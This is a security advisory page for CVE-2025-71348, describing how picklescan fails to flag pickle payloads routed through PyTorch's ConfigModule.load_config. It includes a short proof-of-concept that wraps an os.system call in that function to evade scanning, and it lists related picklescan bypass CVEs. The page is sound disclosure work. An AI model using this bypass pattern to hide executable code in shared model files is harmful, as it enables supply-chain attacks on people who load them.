CVE-2025-71348: Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
Summary Using torch.utils.configmodule.loadconfig function, which is a pytorch library function to execute remote pickle file. Details The attack payload executes in the following steps: First, the attacker crafts the payload by calling the torch.utils.configmodule.loadconfig function via the reduce method. Then the victim checks whether the pickle file is safe using the Picklescan library.
Published Aug 22, 2025 · Updated Sep 11, 2026
Affected packages
picklescan
- Ecosystem
- PyPI
- Affected
- <= 0.0.27
- Fixed in
- 0.0.28
- Check
pip show picklescan
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.
PoC
import pickle
from torch.utils._config_module import ConfigModule
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
return ConfigModule.load_config, (None, evil_payload)Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT https://github.com/Qhaoduoyu
Credited to FredericDT.
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj
- https://github.com/mmaitre314/picklescan/pull/47
- https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28
- https://nvd.nist.gov/vuln/detail/CVE-2025-71348
- https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml
- https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass
- https://github.com/advisories/GHSA-vv6j-3g6g-2pvj
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-3490
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
critical10.0Mar 3, 2026CVE-2026-53873
PickleScan's profile.run blocklist mismatch allows exec() bypass
critical9.8Mar 3, 2026CVE-2026-56315
PickleScan has multiple stdlib modules with direct RCE not in blocklist
critical9.8Mar 3, 2026CVE-2026-53875
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
high7.1Feb 18, 2026CVE-2026-53874
picklescan missing detection by simple obfuscation of a `builtins.eval` call
high8.9Feb 2, 2026GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
medium5.5Feb 2, 2026
